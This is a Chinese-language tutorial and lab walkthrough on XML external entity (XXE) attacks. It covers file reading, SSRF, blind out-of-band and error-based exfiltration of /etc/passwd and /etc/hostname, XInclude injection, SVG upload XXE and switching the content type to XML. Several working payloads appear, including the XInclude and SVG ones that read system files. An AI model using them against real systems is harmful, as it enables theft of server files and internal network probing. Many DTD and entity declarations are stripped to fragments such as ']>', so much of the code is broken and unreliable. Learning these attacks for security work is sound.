参考以下文章学习
https://xz.aliyun.com/t/3357
XML全称是可扩展标记语言,是用来存储和传输数据的一种数据格式,结构上和HTML类似,但是XML使用的是自定义的标签名,XML在Web早期中比较流行,现在开始流行JSON格式的数据了。
XML实体是一种表示数据项的方式,比如用实体< and >表示符号<和>,XML用实体来表示XML标签。
DTD全称是document type definition,其可以定义XML文档的结构、它可以包含的数据类型和其他项目。DTD在XML文档开头以可选DOCTYPE节点中声明。DTD可以在文档内部(内部DTD)或从其他地方(外部DTD)加载,也可以混合加载。
XML允许在DTD中自定义实体,例如
]>
如例所示,首先声明了一个名为foo的DTD,然后在DTD中声明了一个自定义实体,名为myentity,该自定义实体中的数据为”my entity value”,可以使用&myentity引用该自定义实体中的数据。
XML外部实体也是一种自定义实体,它声明的在DTD之外,外部实体的声明使用SYSTEM关键字,然后指定加载实体值的URL,例如
]>
URL也可以是使用file伪协议从而加载指定的文件内容,例如
]>
XXE漏洞就是利用这种特性获取敏感文件内容或者发动如命令执行、SSRF等攻击。
访问产品页面,单击“检查库存”,抓包
然后就是构造外部实体来查看文件
]>
&xxe; 1
将productId
数字替换为对外部实体的引用:&xxe
;
与上题payload类似
DOCTYPE foo [ ]>
<stockCheck><productId>&ssrf;productId><storeId>1storeId>stockCheck>
在指示的位置插入 Burp Collaborator 子域
DOCTYPE stockCheck [ ]>
productId
用对外部实体的引用 替换数字:&xxe;
收到响应
因为常规外部实体被禁用了,所以我们可以尝试使用参数实体,可以这样构造payload
%xxe; ]>
DOCTYPE stockCheck [ %xxe; ]>
<stockCheck><productId>1productId><storeId>1storeId>stockCheck>
前面我们讲过可以利用XXE盲打进行带外交互,那么我们同样可以利用这个带外交互传输更多的内容,下面我们来看这样的一个例子
">
%eval;
%exfiltrate;
在本例中,我们首先声明了一个存储了敏感文件/etc/passwd内容的参数实体file,然后又声明了一个参数实体eval,里面又包含了一个参数实体exfiltrate,将参数实体file包含的数据附加在URL中发出带外请求从而泄漏带外数据。为了能成功加载上面内容,需要将内容封装成一个dtd托管在目标服务器上。例如
%xxe;]>
这样我们就可以成功在目标服务器上加载XXE盲打的payload了。
这题需要读/etc/hostname的内容,继续用dns外带
服务端写入这样的内容
然后请求端写入payload如下,下面的url是恶意 DTD 的 URL,并非dns外带的url
%xxe;]>
成功请求到file
的时候我们可以通过触发XML解析错误将敏感信息泄漏在报错信息中,例如
">
%eval;
%error;
从上面我们能看到加载了一个不存在的文件触发XML报错,但是后面加载的file实体指定的文件是存在的,所以XML报错信息中就能泄漏这个文件的内容了,例如
java.io.FileNotFoundException: /nonexistent/root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
接下来我们通过一道在线靶场来深入理解
与上题的payload类似
加载一个不存在的文件来触发报错,并记下您的恶意 DTD 的 URL放入下面的payload中
%xxe;]>
我们成功通过报错信息泄漏敏感文件内容了
有些应用程序的服务端会将从客户端接收的内容嵌入到XML文档中然后解析,这就导致因为我们无法控制整个XML文档而无法发动常规的XXE攻击,但是我们可以通过XInclude在该XML文档中构建子XML文档,想要使用XInclude我们需要引入相应的命名空间,所以XInclude攻击的payload长这样
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/>foo>
抓包后是
payload是
productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/>foo>&storeId=1
SVG 是一种基于 XML 语法的图像格式
评论有个头像上传点,我们目的是通过上传payload的svg图像来执行命令
DOCTYPE test [ ]><svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;text>svg>
可以看到头像成功回显出信息
大多数 POST 请求使用由 HTML 表单生成的默认内容类型,例如application/x-www-form-urlencoded
. 一些网站希望接收这种格式的请求,但会容忍其他内容类型,包括 XML。
例如,如果一个普通请求包含以下内容:
POST /action HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 7
foo=bar
然后您可以提交以下请求,并得到相同的结果:
POST /action HTTP/1.0
Content-Type: text/xml
Content-Length: 52
<foo>barfoo>
如果应用程序容忍消息正文中包含 XML 的请求,并将正文内容解析为 XML,那么只需将请求重新格式化为使用 XML 格式,您就可以到达隐藏的 XXE 攻击面。